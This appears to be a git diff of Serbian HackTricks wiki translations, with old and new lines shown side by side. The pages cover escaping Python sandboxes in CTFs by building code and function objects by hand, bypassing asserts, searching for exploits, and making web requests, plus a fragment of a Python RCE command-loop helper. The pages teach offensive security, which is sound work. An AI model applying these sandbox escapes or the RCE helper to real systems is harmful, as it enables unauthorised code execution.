### Rekreiranje procurene funkcije ### Ponovno kreiranje provaljene funkcije
{% hint style="warning" %} {% hint style="warning" %}
U sledećem primeru, preuzećemo sve potrebne podatke kako bismo rekreirali funkciju direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da procurite. U sledećem primeru, uzet ćemo sve podatke potrebne za ponovno kreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da provalite**.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -960,10 +964,10 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag #ThisIsTheFlag
``` ```
### Zaobilaženje odbrana ### Bypass Defenses
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i mogli bismo isto to uraditi koristeći **`exec`**).\ U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji python kod koristeći `compile` funkciju**. Ovo je zanimljivo jer možete **izvršiti cele skripte** sa petljama i svime u **jednoj liniji** (i mogli bismo učiniti isto koristeći **`exec`**).\
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajliran objekat** na lokalnoj mašini i izvršiti ga na **CTF mašini** (na primer, jer nemamo funkciju `compile` na CTF-u). U svakom slučaju, ponekad bi moglo biti korisno **napraviti** **kompilovani objekat** na lokalnoj mašini i izvršiti ga na **CTF mašini** (na primer, zato što nemamo `compiled` funkciju u CTF-u).
Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_: Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
```python ```python
@ -992,7 +996,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
Ako ne možete pristupiti `eval` ili `exec`, možete kreirati **odgovarajuću funkciju**, ali je direktno pozivanje obično neuspešno sa porukom: _konstruktor nije dostupan u ograničenom režimu_. Stoga vam je potrebna **funkcija koja nije u ograničenom okruženju da pozove ovu funkciju.** Ako ne možete pristupiti `eval` ili `exec`, možete kreirati **pravu funkciju**, ali direktno pozivanje obično će propasti sa: _konstruktor nije dostupan u ograničenom režimu_. Dakle, potrebna vam je **funkcija koja nije u ograničenom okruženju da pozove ovu funkciju.**
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1000,9 +1004,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42) f(42)
``` ```
## Dekompilacija kompajliranog Python koda ## Decompiling Compiled Python
Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **dekompilirati** dati kompajlirani Python kod. Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **dekompilirati** dati kompajlirani python kod.
**Pogledajte ovaj tutorijal**: **Pogledajte ovaj tutorijal**:
@ -1010,12 +1014,12 @@ Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompil
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) [.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %} {% endcontent-ref %}
## Razno Python ## Misc Python
### Assert ### Assert
Python izvršen sa optimizacijama pomoću parametra `-O` će ukloniti assert naredbe i bilo koji kod uslovljen vrednošću **debug**.\ Python koji se izvršava sa optimizacijama sa parametrom `-O` će ukloniti assert izjave i bilo koji kod uslovljen vrednošću **debug**.\
Stoga, provere poput Stoga, provere kao što su
```python ```python
def check_permission(super_user): def check_permission(super_user):
try: try:
@ -1024,7 +1028,9 @@ print("\nYou are a super user\n")
except AssertionError: except AssertionError:
print(f"\nNot a Super User!!!\n") print(f"\nNot a Super User!!!\n")
``` ```
## Reference will be bypassed
## References
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
@ -1039,16 +1045,17 @@ print(f"\nNot a Super User!!!\n")
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# venv # venv
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash ```bash
@ -42,21 +43,22 @@ inside the virtual environment
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Web zahtevi # Web Requests
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Python Zahtevi ## Python Requests
```python ```python
import requests import requests
@ -90,7 +91,7 @@ return resp.json()
def get_random_string(guid, path): def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10)) return ''.join(random.choice(string.ascii_letters) for i in range(10))
``` ```
## Python cmd za iskorišćavanje udaljenog izvršenja koda (RCE) ## Python cmd za iskorišćavanje RCE-a
```python ```python
import requests import requests
import re import re
@ -120,21 +121,22 @@ term.cmdloop()
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Pretraga eksploatacija # Search Exploits
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Dobijte pristup danas: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Pretraživač ### Browser
Uvek pretražujte "google" ili druge: **\<ime\_servisa> \[verzija\] eksploatacija** Uvek pretražujte u "google" ili drugim: **\<service\_name> \[version] exploit**
Takođe treba da probate **shodan** **pretragu eksploatacija** na [https://exploits.shodan.io/](https://exploits.shodan.io). Takođe biste trebali probati **shodan** **exploit search** sa [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit ### Searchsploit
Koristan alat za pretragu eksploatacija za servise u **exploitdb iz konzole.** Koristan za pretragu exploit-a za usluge u **exploitdb iz konzole.**
```bash ```bash
#Searchsploit tricks #Searchsploit tricks
searchsploit "linux Kernel" #Example searchsploit "linux Kernel" #Example
@ -42,7 +43,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
``` ```
### Pompem ### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) je još jedan alat za pretragu eksploatacija [https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) je još jedan alat za pretragu eksploitacija
### MSF-Search ### MSF-Search
```bash ```bash
@ -50,34 +51,35 @@ msf> search platform:windows port:135 target:XP type:exploit
``` ```
### PacketStorm ### PacketStorm
Ako ništa nije pronađeno, pokušajte pretražiti korišćenu tehnologiju na [https://packetstormsecurity.com/](https://packetstormsecurity.com) Ako ništa nije pronađeno, pokušajte da pretražite korišćenu tehnologiju unutar [https://packetstormsecurity.com/](https://packetstormsecurity.com)
### Vulners ### Vulners
Takođe možete pretražiti u vulners bazi podataka: [https://vulners.com/](https://vulners.com) Takođe možete pretraživati u vulners bazi podataka: [https://vulners.com/](https://vulners.com)
### Sploitus ### Sploitus
Ovo pretražuje eksploate u drugim bazama podataka: [https://sploitus.com/](https://sploitus.com) Ovo pretražuje eksploite u drugim bazama podataka: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Školjke - Linux # Shells - Linux
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
